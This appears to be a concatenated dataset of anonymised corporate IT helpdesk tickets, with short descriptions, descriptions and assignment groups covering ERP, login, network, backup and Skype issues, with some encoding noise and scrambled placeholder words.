job bkbackup\_tool\_HostName\_771\_prod\_full failed in job\_scheduler at: 09/29/2016 23:56:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp slow, Description: erp system is very slow in apac dc. i asked stefytyn shi to uacyltoe hxgaycze the network. he uacyltoe hxgaycze the network, it about 50% packet loss when ping erp server (81.93.78.714), and he check the data from truview, there only 20% link utilization. and he asked apac plant, erp is slow too. so please check the server and solve the issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp can't log on, Description: erp disconnected and we can't log on now. \_x000D\_
before the disconnection, it took several mins to conduct any action in erp., is assigned to Assignment group: GRP\_14.Ticket with Short description: always get reminder for approval of requisition 01447255, even i approved a lot of times, Description: i'm kate liu from apac plant, i can't complete some pr approval, need support\_x000D\_
my email: mhikeucr.quaixnbe@gmail.com, is assigned to Assignment group: GRP\_29.Ticket with Short description: top urgent! //price issue, Description:
received from: wktesmbp.lorjymef@gmail.com
dear teamï¼Œ
pls help to maintain the net price of mm#7108755~
we need to create sto for this material from plant\_283 to plant\_105 & its net price just shows as "0.01"~pls. help to maintain it a.s.a.p. cause it's a urgent case~
thx in advance!
[cid:image001.png@01SID\_35b09.55c64b00]
b.rgds
judthtihty.zhuyhts
company hardpoint apac-wgq dc
, is assigned to Assignment group: GRP\_29.Ticket with Short description: outlook cannot login for notebook, Description: \_x000D\_
\_x000D\_
received from: oydlehun.svnfrxdk@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please help. i cannot login outlook on my notebook.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: docking station not working, Description: docking station not working. no power for laptop, is assigned to Assignment group: GRP\_19.Ticket with Short description: cann't do "mb31" for po115890552, Description: there is a po 226901663 in plant\_282.\_x000D\_
now,we need ship it out,but we can't do "mb31" .please help ., is assigned to Assignment group: GRP\_45.Ticket with Short description: india plant - india (): node company-ap-ind-kkc-2960s-access-sw01.company.com & sw02 is down, Description: india plant - india (): node company-ap-ind-kkc-2960s-access-sw01.company.com is down
node company-ap-ind-kkc-2960s-access-sw01.company.com located at india kirty is down.
interface down - on gigabitethernet3/1 & gigabitethernet3/6Â· connection to company-ap-ind-kkc-2960s-access-sw01 - on company-ap-ind-admin-4503-core-sw01.company.com , is assigned to Assignment group: GRP\_8.Ticket with Short description: urgent- mm6173026, Description: dear all
would you please solve the issue ?
to settle negative stock, i need to do gr with migo manually.
like below, erp said g/l account 23646112 does not exist in company code 534522.
please let me know how to handle it ?
today is the end of month so please solve it aerp.
, is assigned to Assignment group: GRP\_10.Ticket with Short description: customers and sales are not able to create quotes, Description: received over 23 emails and numerous calls from customers and sales they are not able to create quotes. these are the last few days of the quarter and this is a huge risk to lose sales and negatively impact customers., is assigned to Assignment group: GRP\_21.Ticket with Short description: i am not able to service customers - distributor\_tool / companycenter login not working, Description: unauthorised access. your account has been deleted. please contact help desk.\_x000D\_
\_x000D\_
windows, SID\_34, SID\_37, SID\_39, password\_management\_tool, bw, hana, reporting\_tool, crm, dynamics, outlook etc.... all are fine. , is assigned to Assignment group: GRP\_21.Ticket with Short description: ms office general question, Description: ms office general question, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_555 failed in job\_scheduler at: 09/29/2016 18:23:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_555 failed in job\_scheduler at: 09/29/2016 18:23:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: can you please help tami receive in the rma below. details of the issue are below this screen shot. i'm not sure how t, Description: can you please help tami receive in the rma below. details of the issue are below this screen shot. i'm not sure how to help., is assigned to Assignment group: GRP\_13.Ticket with Short description: request to remove 1 day pick route logic from supply\_chain for customer 81174536 in plant\_101 view., Description: request to remove 1 day pick route logic from supply\_chain for customer 81174536 in plant\_101 view., is assigned to Assignment group: GRP\_6.Ticket with Short description: crm help needed , Description:
received from: oetlgbfw.bsctrnwp@gmail.com
i am not getting my reporting\_engineering\_tools and it says i don't have access to veiw manager reports
please fix aerp
dthyan matheywtyuews
sales manager gl2
oetlgbfw.bsctrnwp@gmail.com<mailto:oetlgbfw.bsctrnwp@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype goes to not responding mode, Description: skype goes to not responding mode
phone:, is assigned to Assignment group: GRP\_0.Ticket with Short description: ms crm login issue., Description: ms crm login issue.
-connected to the user system using teamviewer.
-user is on the company network.
-when user tries to login to the ms crm its gives him a error.
, is assigned to Assignment group: GRP\_40.Ticket with Short description: ticket update on sev 2 ticket inplant\_864860, Description: ticket update on sev 2 ticket inplant\_864860, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa - company-na-usa-usa-shop-3750g-access-sw02 hard down due to storm last night , Description: we had some bad storms come through last night and took out a switch on the machine network., is assigned to Assignment group: GRP\_4.Ticket with Short description: external link not working in ie , Description: external link not working in ie , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to install mobile app on iphone , Description: unable to install mobile app on iphone
phone: , is assigned to Assignment group: GRP\_40.Ticket with Short description: engg work bench login issue., Description: engg work bench login issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: please remove quote from workflow, Description: \_x000D\_
\_x000D\_
received from: lwgytuxq.qspdztiw@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please clear quote 3116211904 from my workflow. this quote no longer exists and should not be showing up in my workflow. see attached screen shot.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: windows account lock out issue , Description: windows account lock out issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: issues with hana, Description:
received from: zdcheloy.aevzsogn@gmail.com
we are all having issues with hana on our systems. i am on vacation for 2 weeks, but please work with brandeerthy as the lead for getting this fixed.
we have a defined report that utilized hana to bring in information. it has been working fine but not we seem to have issues:
1. when we select analysis the refresh all code is grayed out when we used to be able to just go in and hit refresh all and be done.
2. i tried inserting the data source for quote performance from where this is built from, but when i do this i get:
a. when i refresh all, not data changes
b. when i looked at the display, none of the columns and background filters are appearing any longer.
brandeerthy please utilize the canada file in the quote performance canada folder dated 2016 09 29 rev 1 as the uacyltoe hxgaycze one when it calls you.
, is assigned to Assignment group: GRP\_9.Ticket with Short description: distributor\_tool issues for sales area 1108, Description: please be aware that sales reps and customer are not able ot request a quote through distributor\_tool for sales area 1108., is assigned to Assignment group: GRP\_21.Ticket with Short description: printer issue, Description: \_x000D\_
\_x000D\_
received from: iqcylpok.ascpqvni@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
printer ts02 in the purchasing dept. is not sending scans to our emails. can someone look into this please?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: add ed sheehy to purchasing ad, Description: xszoedmc gmhkdsnw please add oabdfcnk xeuhkoqa (shyheehew2) to purchasingupstreamsso and active directory. the samaccountname in ad is to be all lowercase. , is assigned to Assignment group: GRP\_2.Ticket with Short description: swap clients e7350 with e7250, Description: swap clients e7350 with e7250, is assigned to Assignment group: GRP\_3.Ticket with Short description: cannot get into the lean tracker to save lean events. , Description: lean tracker will give me an error when trying to save a lean event. i get an infopath error. , is assigned to Assignment group: GRP\_0.Ticket with Short description: need to usa remote access to carolutyu magyarics to repair prepull system used by the usa factory. , Description: need to usa remote access to carolutyu magyarics to repair prepull system which is part of the usanet used by the usa factory. carolutyu is an it consultant used in the past to create custom databases and applications to support the business on the production floor. her windows id was vvmagyc. she will require vpn access also along with her administrative rights to repair the sql database. this system has been down for 36 hours and internal it resources at usa and usa have not been able to resolve., is assigned to Assignment group: GRP\_0.Ticket with Short description: for p.o 5019287566 error message, Description: \_x000D\_
\_x000D\_
received from: kaguhxwo.uoyipxqg@gmail.com\_x000D\_
\_x000D\_
hi it,\_x000D\_
please help on this. create dn for po 5019287566. , is assigned to Assignment group: GRP\_6.Ticket with Short description: crm installation, Description: crm installation, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage query, Description: power outage query, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for hzmxwdrs tcbjyqps using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset request , Description: windows password reset request , is assigned to Assignment group: GRP\_0.Ticket with Short description: need to check the payslips, Description: need to check the payslips, is assigned to Assignment group: GRP\_0.Ticket with Short description: configure crm on the outlook , Description: configure crm on the outlook \_x000D\_
\_x000D\_
949 245 8817, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_39 account locked // password reset, Description: erp SID\_39 account locked // password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: infopath installation, Description: name:nmpworvu upgtrvnj
language:
browser:microsoft internet explorer
email:nmpworvu.upgtrvnj@gmail.com
customer number:
telephone:
summary:i have an issue saving a lean project to infopath, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype problem, Description: \_x000D\_
\_x000D\_
received from: pcjtisrv.havyuwds@gmail.com\_x000D\_
\_x000D\_
hi manjgtiry\_x000D\_
\_x000D\_
i got again skype problem â€“ but not that big as the last time.\_x000D\_
\_x000D\_
every morning when i start my computer i have to add â€žskype" manually (in the add/ins).\_x000D\_
\_x000D\_
could you please fix this issue aerp? i will be on vacations from oct 2 â€“ oct 17.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: the back up tape is not ejecting - i am unable to switch tapes for daily back-ups., Description: have not been able to switch the tapes for this week., is assigned to Assignment group: GRP\_12.Ticket with Short description: external user called for help for calendar issue , Description: external user called for help for calendar issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: can you please remove my email from this mailing list., Description: can you please remove my email from this mailing list.
from: cesgrtar abgrtyreu
sent: thursday, september 29, 2016 5:12 pm
to: nwfodmhc exurcwkm
subject: ranjhruy re: ergebnis evakuierungsÃ¼bung 2016
hello,
can you please remove my email from this mailing list.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1387 failed in job\_scheduler at: 09/29/2016 10:57:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1387 failed in job\_scheduler at: 09/29/2016 10:57:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: spam mail notification, Description: spam mail notification, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent help required - crm mobile app issue, Description: \_x000D\_
\_x000D\_
received from: vnetbgio.lqxztben@gmail.com\_x000D\_
\_x000D\_
we're sorry\_x000D\_
you can't connect to the server because it doesn't have a trusted ssl certificate. contact your crm administrator for assistance.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_22.Ticket with Short description: telefon mit der nummer 1038091558 ist defekt. sinterei germany. bitte reparieren., Description: telefon mit der nummer ist defekt. sinterei germany. bitte reparieren., is assigned to Assignment group: GRP\_33.Ticket with Short description: weekly reboot reminder - backup\_tool servers HostName\_999, HostName\_1048/HostName\_1049/HostName\_1075, Description: from: root@HostName\_189.hq.company.com [mailto:root@HostName\_189.hq.company.com] \_x000D\_
sent: thursday, september 29, 2016 10:00 am\_x000D\_
to: datacenter\_x000D\_
subject: weekly reboot reminder - backup\_tool servers\_x000D\_
\_x000D\_
\_x000D\_
datacenter,\_x000D\_
\_x000D\_
please perform the weekly reboot of the azure backup server clhqsm006, backup\_tool management server HostName\_999, and the backup\_tool proxy servers HostName\_1048/HostName\_1049/HostName\_1075, following completion of the daily backup\_tool backup processing. \_x000D\_
\_x000D\_
- raise the job\_scheduler batch fence on HostName\_999 to 11.\_x000D\_
- ensure there are no backup jobs running in backup\_tool or job\_scheduler on HostName\_999.\_x000D\_
- logon to the backup\_tool management server HostName\_999 and perform a restart. \_x000D\_
- after HostName\_999 is available, reboot the proxy servers - can boot travel\_toolrently.\_x000D\_
- lower the job\_scheduler batch fence on HostName\_999 to 9 following all reboots.\_x000D\_
\_x000D\_
- you can reboot clhqsm006 at anytime. \_x000D\_
\_x000D\_
also, the dell dr4100 storage server is rebooted following the backup\_tool server reboots. this server will be rebooted by the administrator (tim r) following completion of the backup\_tool reboots. \_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_8.Ticket with Short description: probleme mit vpn \wxstfouy isjzcotm, Description: probleme mit vpn \wxstfouy isjzcotm, is assigned to Assignment group: GRP\_24.Ticket with Short description: no crm tab, Description: \_x000D\_
\_x000D\_
received from: ltsqkane.ycgwexdf@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i have no crm tab in my outlook page.\_x000D\_
i was told i need it to fix this.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: stack guard error, Description: stack guard error, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent help required- outlook to crm mfg\_tooltion issue., Description:
received from: peojqgvm.qayeptuo@gmail.com
my outlook does not have the crm ribbon.
please call
, is assigned to Assignment group: GRP\_0.Ticket with Short description: discount form issue, Description: from: fnqelwpk ahrskvln \_x000D\_
sent: thursday, september 29, 2016 6:02 pm\_x000D\_
to: trxsychl xamcuong; nwfodmhc exurcwkm; maliowbg cltnwazh\_x000D\_
cc: nmyzehow gnlcripo\_x000D\_
subject: amar re: ayuda con conseciones \_x000D\_
\_x000D\_
\_x000D\_
team,\_x000D\_
\_x000D\_
please help me check marfhtyios collaboration\_platform settings. he is getting this errror with the discount tool.\_x000D\_
\_x000D\_
we already talked to rmegscqu juksmtho and it's not an issue with the tool.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: email delegation, Description: hatryu bau g called in for an issue where he needed access to fuyidkbv koximpja's email as fuyidkbv koximpja has already left the company on 24th of this month.
hatryu is the manager and he needs fuyidkbv koximpja' mailbox to be delegated to him for some important purpose of emails related to customers. please do the needful at the earliest.
contact no - , is assigned to Assignment group: GRP\_26.Ticket with Short description: computer volume, Description: \_x000D\_
\_x000D\_
received from: fpbmtxei.jtqbcnfs@gmail.com\_x000D\_
\_x000D\_
i am not getting any volume on my computer. please help fix. i need volume for skype.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: audio is not working, Description: audio is not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: chrthryui stavenheim : unbale to login to tess via citrix, user name is ccftv15, Description: from: oinqckds qieswrfu
sent: thursday, september 29, 2016 5:30 pm
to: nwfodmhc exurcwkm
cc: chrthryui stavenheim
subject: trurthyuft aw: tess account
hello, can someone check whether chrthryui stavenheim can login with his account ccftv15
via the citrix access
with this access.
please inform him and myself when the issue is fixed as we have to generate turnover and satisfy customers
oinqckds qieswrfu
manager tess holemaking design automation
oinqckds.qieswrfu@gmail.com
von: chrthryui stavenheim [mailto:chrthryui.stavenheim@bank.se]
gesendet: donnerstag, 29. september 2016 08:12
an: oinqckds qieswrfu
betreff: tess account
hello robhyertyj
i've been unable to login to tess a few weeks now. either password och user name is wrong. user name is ccftv15
could you please help me out?
med vÃ¤nlig hÃ¤lsning / best , is assigned to Assignment group: GRP\_12.Ticket with Short description: brxaqlwn auzroqes:332415 / 2016 purchasing check status and reports not seen, Description: hello team can you please create a credentials for erp (SID\_34) and maintain the same in the safe area.
you can copy same access like - kantthyhn, is assigned to Assignment group: GRP\_2.Ticket with Short description: engineering\_tool error: machining cloud stopped working, Description: engineering\_tool error: machining cloud stopped working, is assigned to Assignment group: GRP\_0.Ticket with Short description: general issue, Description: general issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm app greyed out, Description: crm app greyed out, is assigned to Assignment group: GRP\_0.Ticket with Short description: uninstallation of adwares from computer, Description: uninstallation of adwares from computer, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // loud noise //gso, Description: blank call // loud noise //gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with company center quick quote, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
i'm trying to enter a quote for a distributor in company center. i filled out the information and clicked quick quote. it did nothing. please advise.
[cid:image001.jpg@01SID\_35a25.558fdf50]
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
, is assigned to Assignment group: GRP\_21.Ticket with Short description: skype issue : personal certificate error , Description: skype issue : personal certificate error , is assigned to Assignment group: GRP\_0.Ticket with Short description: company center-password changes, Description: i have been setting users up in company center and have run into an problem. the passwords i set them up with don't work and i need to reset them. please get back to me as soon as possible because we need to get users up and running in the system, is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool crashes when confirmations are deleted - not able to remove scrap confirmations that have been rectified in erp, Description: there are now over 130 confirmations needing to be deleted since this error was identifies in may. issue was identified to EU\_tool support which no longer exists.\_x000D\_
\_x000D\_
i will forward screen capture images to assigned it agent to better explain this error.\_x000D\_
\_x000D\_
alrthyu\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: network issues, Description: \_x000D\_
\_x000D\_
received from: verena.financial@company.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
at pc eagw8111482sf i have irrecular network issues. sometimes there is no connection to the network possible, after a restart it works again in most cases.\_x000D\_
the hardware i can reach i checked for disconnection or lax connection.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_28.Ticket with Short description: account lock out issue since last two days., Description: account lock out issue since last two days.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: mqjdyizg amhywoqg - issues with purchasing access., Description: please escalate this issue since mqjdyizg amhywoqg is required to approve sales contracts in purchasing. mqjdyizg amhywoqg is having an issue with accessing purchasing. please review bill's ad and samacocuntname in ad. then contact bihrtyull thadhylman to resolve. , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1132 failed in job\_scheduler at: 09/29/2016 08:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1132 failed in job\_scheduler at: 09/29/2016 08:00:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: delivery creation issue, Description: purchase order number 5019291164, delivery creation issue., is assigned to Assignment group: GRP\_18.Ticket with Short description: job Job\_1137 failed in job\_scheduler at: 09/29/2016 07:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1137 failed in job\_scheduler at: 09/29/2016 07:55:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: xszoedmc gmhkdsnw or skype. contract library access to janhetgdyu fox-chatgrylouy, Description: xszoedmc gmhkdsnw 7 or skype. access to collaboration\_platform>legal>elengineering toolonic contract management system>libarary>contract archive - industrial folder to janhetgdyu fox-chatgrylouy. please skype janhetgdyu to work with her. , is assigned to Assignment group: GRP\_16.Ticket with Short description: lean tracker - not able to add new event , Description: \_x000D\_
\_x000D\_
received from: fdmobjul.oicarvqt@gmail.com\_x000D\_
\_x000D\_
need you help\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35a72.de748da0]\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: spl gl r indicator is missing in customer open items feed., Description: spl gl indicator "r - bill of exchange payt request" is missing in customer open items feed., is assigned to Assignment group: GRP\_10.Ticket with Short description: ordnerfreigabe fÃ¼r m: kvp3, Description: ordnerfreigabe fÃ¼r m: kvp3, is assigned to Assignment group: GRP\_34.Ticket with Short description: hsh, Description:
received from: aksthyuhath.shettythruy@company.com
hi,
mr. hatryupsfshytd is unable to login ess portal. please reset the password.
emp no
name
userid
manager
20070679
aqihfoly xsrkthvf
hsh
panghyiraj shthuihog
fyi.
[cid:image001.png@01SID\_35a6c.bb3839a0]
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: aidw700011 needs to format and reinstall., Description: aidw700011 needs to format and reinstall., is assigned to Assignment group: GRP\_19.Ticket with Short description: reinstall EU\_tool und hardcopy.\acqpinyd ecygimqd, Description: reinstall EU\_tool und hardcopy.\acqpinyd ecygimqd, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit companyguest \bctypmjw cbhnxafz, Description: probleme mit companyguest \bctypmjw cbhnxafz, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit hp drucker local .\petljhxi bocxgins, Description: probleme mit hp drucker local .\petljhxi bocxgins, is assigned to Assignment group: GRP\_24.Ticket with Short description: ich benÃ¶tige hilfe bei der passwortÃ¤nderung / und bei skype - mikrophone zuschaltung!, Description: ich benÃ¶tige hilfe bei der passwortÃ¤nderung / und bei skype - mikrophone zuschaltung!\_x000D\_
da ich bei skype meetings zwar andere hÃ¶ren kann diese mich aber nicht hÃ¶ren kÃ¶nnen. , is assigned to Assignment group: GRP\_0.Ticket with Short description: ughzilfm cfibdamq wanted details to check for company guest, Description: ughzilfm cfibdamq wanted details to check for company guest, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: automatically generated confirmations from bls aren't transfered to EU\_tool, Description: system affected: bls (beschichtungsleitstand, engl: coating production system)\_x000D\_
\_x000D\_
confirmation for process step packing fhurakgsl mldufqov is not transfered to EU\_tool. \_x000D\_
\_x000D\_
sample orders: 226901542, 226907395\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: i can not create a delivery order number 5019289193nd; error message apo server not o.k, Description: mm 4983099 \_x000D\_
bestellnumer 5019289193\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 09/29/2016 04:17:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
\_x000D\_
[critical] from: bda-net@lhqsm435.company.company.com "lhqsm435.company.company.com [/g]" time: 9/29/2016 3:16:25 am\_x000D\_
ipc failure reading net message (ipc write error\_x000D\_
system error: [10053] software caused connection abort\_x000D\_
) => aborting.\_x000D\_
\_x000D\_
backup statistics:\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 37 \_x000D\_
failed disk agents ........... 1 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 38 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 1 \_x000D\_
failed media agents .......... 0 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 1 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 534700 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 2 \_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 09/29/2016 04:17:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: engineering tool malfunction, Description: \_x000D\_
\_x000D\_
received from: jkpwisnf.lgpdyncm@gmail.com\_x000D\_
\_x000D\_
dear sir\_x000D\_
yesterday, i upgraded engineering tool application and now i am facing below problem.\_x000D\_
search and new option is not appearing in customer find/add tab. kindly help to resolve the issue.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35a56.d1291481]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: purchasing catalogue de-wollschlÃ¤ger needs immediatly to be deleted, Description: the company is bankruped, is assigned to Assignment group: GRP\_29.Ticket with Short description: telephony\_software problem, Description: there are connection problems, while calling the sr. the sr gets a silent line while i get connected with the warehouse\_toolmail immediately., is assigned to Assignment group: GRP\_7.Ticket with Short description: EU\_tool - can not get the transfer times of our employees since today, Description: please see the attached email, is assigned to Assignment group: GRP\_25.Ticket with Short description: vuxdrbng owqplduj : s1- k1, Description: vuxdrbng owqplduj : s1- k1, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2645 failed in job\_scheduler at: 09/29/2016 03:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2645 failed in job\_scheduler at: 09/29/2016 03:30:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: selecting customer, Description: i cannot select the customer and cannot edit it, see the picture below. there is no button for "new" or "find" which we had in the previous versions and the "select" button is not active, is assigned to Assignment group: GRP\_25.Ticket with Short description: setup new ws \vuxdrbng owqplduj, Description: setup new ws \vuxdrbng owqplduj, is assigned to Assignment group: GRP\_24.Ticket with Short description: HostName\_66:volume: f:\ label:dat1-HostName\_66 9a625d75 on server: is over 85% space consumed. space available: 648 k, Description: volume: f:\ label:dat1-HostName\_66 9a625d75 on server: is over 85% space consumed. space available: 648 k, is assigned to Assignment group: GRP\_12.Ticket with Short description: reset the password for bzwrchnd ysfiwvmo on windows ç™»é™†, Description: reset the password for bzwrchnd ysfiwvmo on windows ç™»é™†, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2588 failed in job\_scheduler at: 09/29/2016 01:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2588 failed in job\_scheduler at: 09/29/2016 01:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: outlook funktioniert nicht, Description: am rechner evhw8114148 funktioniert outlook nicht mehr.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: lean tracker not opening, Description: lean tracker not opening, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: po5616680457 same tax issue, Description: po5616680457 same tax issue, is assigned to Assignment group: GRP\_10.Ticket with Short description: modify jb\_ecc\_bw\_zsd531 to pull 36 month sales data from zsd532 table, Description: we are in the process of refreshing history in rr and we need to send 3 years sales data from zsd532 table through bobj script jb\_ecc\_bw\_zsd531. please modify the programdnty to pull 36 month data (-1 to -36) from zsd532, once the extract is complete we will switch it back to delta extraction., is assigned to Assignment group: GRP\_20.Ticket with Short description: create guest wifi - vvrassyhrt, Description: create guest wifi - vvrassyhrt, is assigned to Assignment group: GRP\_34.Ticket with Short description: i am unable to login to the attendance\_tool --so reset my attendance\_tool password , Description: reset my attendance\_tool password , is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client - authorisation, Description: hi,
pl. provide business\_client authorization to uypsqcbm fqpybgri for checking/downloading drawings.
cc: irgsthy , pl. provide your employee id
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login to skype, Description: not able to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: sound card issue in dell latitude m4800 laptop, Description: sound card issue in dell latitude m4800 laptop, is assigned to Assignment group: GRP\_19.Ticket with Short description: vpn ä¸èƒ½ç™»å½•ã€‚, Description: [â€Ž2016/â€Ž9/â€Ž29 9:14] daisy huang: \_x000D\_
hi, vpn æŒ‰ç…§é‚®ä»¶é‡Œè®¾ç½®çš„æ”¹äº†ï¼Œæ€Žä¹ˆè¿˜æ˜¯ç™»ä¸ä¸ŠåŽ»\_x000D\_
your system failed for antivirus check. please ensure the following is true and try again or contact your administrator: your antivirus software is enabled. it is up to date (antivirus database no older than 30 days) you have recently scanned your system (not longer than 7 days ago) \_x000D\_
[â€Ž2016/â€Ž9/â€Ž29 9:15] obuwfnkm ufpwmybi: \_x000D\_
ä½ çš„æ€æ¯’è½¯ä»¶æœ‰é—®é¢˜\_x000D\_
ç—…æ¯’åº“æ²¡æœ‰æ›´æ–°\_x000D\_
, is assigned to Assignment group: GRP\_31.Ticket with Short description: usa - (company) : interface fastethernet0/16 & gigabitethernet1/0/18 is down since 09:23 pm et on 09/28., Description: interface: fastethernet0/16 Â· asheshopsw5 on company-na-usa-usa-2950-access-sw02 is down\_x000D\_
interface: gigabitethernet1/0/18 Â· asheshopsw2 on company-na-usa-usa-3850-core-sw01 is down, is assigned to Assignment group: GRP\_8.Ticket with Short description: prdord 226040587 226040835 226040589 226901663 can not relese , Description: 115939476 226040835 226040589 user status cer1 is active.\_x000D\_
226901663 user status cer2 is active.\_x000D\_
can not create the production order \_x000D\_
please help to fix it ., is assigned to Assignment group: GRP\_45.Ticket with Short description: can not transfer customer in tracking to crm, Description: from: crjhotyk pxslorbe \_x000D\_
sent: thursday, september 29, 2016 2:57 am\_x000D\_
to: rakthyesh ramdntythanjesh\_x000D\_
subject: crm crjhotyk pxslorbe\_x000D\_
\_x000D\_
can not transfer customer in tracking to crm- should be able to right click and click track to crm, does not work.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: hr\_tool e-time problems, Description: \_x000D\_
\_x000D\_
received from: nwzhlktu.plktredg@gmail.com\_x000D\_
\_x000D\_
i am trying to enter etime on the hub but only get this screen: it will not go anywhere from this screen. can this be corrected? please get in touch with me tomorrow during office hours.\_x000D\_
\_x000D\_
[cid:image003.jpg@01SID\_359b8.f6a48660]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool urgent, Description:
received from: uezonywf.rldbvipu@gmail.com
i have access to engineering\_tools (engineering\_tool) but my name doesn't show up in the drop down for salesman or uacyltoe hxgaycze performed by and it isn't allowing me to write it in. can i please be added aerp.
tommyth duyhurmont
channel partner sales engineer
company inc.
uezonywf.rldbvipu@gmail.com<mailto:uezonywf.rldbvipu@gmail.com>
www.company.com<
www.company.com/engineering\_tool/en/home.html
[
, is assigned to Assignment group: GRP\_25.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
